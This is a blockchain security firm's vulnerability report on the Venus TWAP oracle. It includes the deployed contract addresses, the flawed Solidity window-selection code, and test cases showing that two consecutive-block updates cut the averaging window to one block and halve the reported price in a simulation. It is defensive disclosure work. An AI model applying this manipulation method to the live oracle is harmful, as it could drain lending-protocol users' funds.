#HashEx
BLOCKCHAIN SECURITY

Venus TWAP Oracle

vulnerability report

February 2024

hashex.org

contact@hashex.org

Contents

1. Disclaimer

This is a limited report on our findings based on our analysis, in accordance with good industry practice at the date of this report, in relation to cybersecurity vulnerabilities and issues in the framework and algorithms based on smart contracts, the details of which are set out in this report. In order to get a full view of our analysis, it is crucial for you to read the full report. While we have done our best in conducting our analysis and producing this report, it is important to note that you should not rely on this report and cannot claim against us on the basis of what it says or doesn't say, or how we produced it, and it is important for you to conduct your own independent investigations before making any decisions. We go into more detail on this in the disclaimer below – please make sure to read it in full.

By reading this report or any part of it, you agree to the terms of this disclaimer. If you do not agree to the terms, then please immediately cease reading this report, and delete and destroy any and all copies of this report downloaded and/or printed by you. This report is provided for information purposes only and on a non-reliance basis and does not constitute investment advice. No one shall have any right to rely on the report or its contents, and HashEx and its affiliates (including holding companies, shareholders, subsidiaries, employees, directors, officers, and other representatives) (HashEx) owe no duty of care towards you or any other person, nor does HashEx make any warranty or representation to any person on the accuracy or completeness of the report. The report is provided "as is", without any conditions, warranties, or other terms of any kind except as set out in this disclaimer, and HashEx hereby excludes all representations, warranties, conditions, and other terms (including, without limitation, the warranties implied by law of satisfactory quality, fitness for purpose and the use of reasonable care and skill) which, but for this clause, might have effect in relation to the report. Except and only to the extent that it is prohibited by law, HashEx hereby excludes all liability and responsibility, and neither you nor any other person shall have any claim against HashEx, for any amount or kind of loss or damage that may result to you or any other person (including without limitation, any direct, indirect, special, punitive, consequential or pure economic loss or damages, or any loss of income, profits, goodwill, data, contracts, use of money, or business interruption, and whether in delict, tort (including without limitation negligence), contract, breach of statutory duty, misrepresentation (whether innocent or negligent) or otherwise under any claim of any nature whatsoever in any jurisdiction) in any way arising from or connected with this report and the use, inability to use or the results of the use of this report, and any reliance on this report. The analysis of the security is purely based on the smart contracts alone. No applications or operations were reviewed for security. No product code has been reviewed. HashEx owns all copyright rights to the text, images, photographs, and other content provided in the following document. When using or sharing partly or in full, third parties must provide a direct link to the original document mentioning the author (hashex.org). HashEx has exclusive rights to publish the results of this audit on company's web and social sites.

2. Overview

At HashEx, a blockchain security company, we recently undertook an audit of a fork of the Venus Oracle repository at a request of our client. In the course of our examination, we unearthed a previously undocumented vulnerability that had not been identified in any prior audits conducted on the repository. Although the details of the vulnerability have not been publicly disclosed, we informed our client as a critical component of our audit.

2.1 Summary

Project name	Venus TWAP Oracle
Platform	Binance Smart Chain
Language	Solidity

2.2 Contracts

Name	Address
TwapOracle	`0x67c549a18abfad127b13f8d56738f43a21bb62a7`

3. Found issues

Critical	1 (100%)

TwapOracle

ID	Severity	Title	Status
C9bIa2	Critical	TWAP window length	Open

4. Contracts

TwapOracle

Issues

TWAP window length vulnerability

Critical Open

Executive summary

We've identified a vulnerability within the deployed Time-Weighted Average Price (TWAP) oracle, which can be exploited for price manipulation. In specific scenarios, the TWAP oracle may calculate the asset's TWAP over a single block period, ignoring the predefined window length set in the contract's configuration. This issue arises if the oracle does not receive updates during the designated TWAP period, allowing an attacker to influence the oracle into calculating the price based on the data of only one block.

The vulnerability presents in the deployed oracle implementation (implementation address: 0x67c549a18abfad127b13f8d56738f43a21bb62a7, proxy address 0xea2f042e1A4f057EF8A5220e57733AD747ea8867) and in the latest version of the repository. Although we haven't found a TWAP oracle in use, documentation indicates it could be employed as the main oracle under certain conditions. This poses a significant risk, as a manipulated single-block TWAP can lead to the creation of unfavorable loans, representing a critical security flaw for the lending platform. There are known attacks on TWAP oracles with insufficient window length, e.g. Inverse Finance hack.

Technical description

The core of the identified vulnerability lies in the update mechanism of the Time-Weighted Average Price (TWAP) oracle, particularly in how the `anchorPeriod` parameter functions. According to the oracle's documentation, the `anchorPeriod` represents the minimum required window, in seconds, between TWAP updates. However, it has been discovered that the price may be updated more frequently, potentially as often as every block.

The TWAP calculation relies on an array of Observation structs to store price information. Each

Observation struct contains a cumulative price and timestamp. The asset's price is determined from these stored observations through a public function designed to update the TWAP. This function searches for the first observation after the current timestamp minus the `anchorPeriod`.

```
function pokeWindowValues(
    TokenConfig memory config
) private returns (uint256, uint256 startCumulativePrice, uint256
startCumulativeTimestamp) {
    uint256 cumulativePrice = currentCumulativePrice(config);
    uint256 currentTimestamp = block.timestamp;
    uint256 windowStartTimestamp = currentTimestamp - config.anchorPeriod;
    Observation[] memory storedObservations = observations[config.asset];


    uint256 storedObservationsLength = storedObservations.length;
    for (uint256 windowStartIndex = windowStart[config.asset]; windowStartIndex <
storedObservationsLength; ) {
        if (
            (storedObservations[windowStartIndex].timestamp >= windowStartTimestamp) ||
            (windowStartIndex == storedObservationsLength - 1)
        ) {
            startCumulativePrice = storedObservations[windowStartIndex].acc;
            startCumulativeTimestamp = storedObservations[windowStartIndex].timestamp;
            windowStart[config.asset] = windowStartIndex;
            break;
        } else {
            delete observations[config.asset][windowStartIndex];
        }


        unchecked {
            ++windowStartIndex;
        }
    }
    observations[config.asset].push(Observation(currentTimestamp, cumulativePrice));
    ...
    return (cumulativePrice, startCumulativePrice, startCumulativeTimestamp);
}
```

A vulnerability arises when this update function is not invoked for a duration exceeding the `anchorPeriod`. In such cases, an attacker can exploit this by calling the update function twice in

quick succession, specifically in two consecutive blocks. On the second call, due to the absence of updates within the `anchorPeriod`, the TWAP price will be calculated with a window length of just one block. This makes it highly susceptible to price manipulations.

Proof of concept

Test cases to show issue vulnerability:

```
it("update twap twice inside anchor window since last observation", async function () {
  ...
  await this.twapOracle.updateTwap(this.token0.address);
  console.log(
    "Price before 1 block manipulation:",
    ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
  );
  console.log("Waiting less than the anchor window...");
  await increaseTime(888); // configured anchorPeriod is 900
  await this.simplePair.update(200, 100, 100, 100); // price changed x2
  await this.twapOracle.updateTwap(this.token0.address);
  await this.twapOracle.updateTwap(this.token0.address);
  console.log(
    "Price after 1 block manipulation:",
    ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
  );
});


it("update twap twice after anchor window without observations", async function () {
  ...
  await this.twapOracle.updateTwap(this.token0.address);
  console.log(
    "Price before 1 block manipulation:",
    ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
  );
  console.log("Waiting a bit more than the anchor window...");
  await increaseTime(901); // configured anchorPeriod is 900
  await this.simplePair.update(200, 100, 100, 100); // price changed x2
  await this.twapOracle.updateTwap(this.token0.address);
  await this.twapOracle.updateTwap(this.token0.address);
  console.log(
    "Price after 1 block manipulation:",
```

```
    ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
  );
});
```

Test output

```
Price before 1 block manipulation: 1.000000000000000121
Waiting less than the anchor window...
Price after 1 block manipulation: 0.998877665544332331
      ✓ update twap twice inside anchor window since last observation (57ms)
Price before 1 block manipulation: 1.000000000000000121
Waiting a bit more than the anchor window...
Price after 1 block manipulation: 0.500000000000000006
      ✓ update twap twice after anchor window without observations (52ms)
```

The repository with the tests can be seen at @HashEx/venus-twap-vulnerabilty-proof-of-concept Github repository (file test/PivotTwapOracleBug.ts).

5. Conclusion

The identified issue presents a significant risk to the Venus protocol, particularly if a TWAP oracle is employed, as it could facilitate a price manipulation attack and result in the loss of user funds locked within the protocol. Although we have not discovered any instances of the TWAP oracle currently in use, documentation indicates that it may serve as the primary oracle for certain assets.

 contact@hashex.org

 @hashex_manager

 blog.hashex.org

 linkedin

 github

 twitter

#HashEx
BLOCKCHAIN SECURITY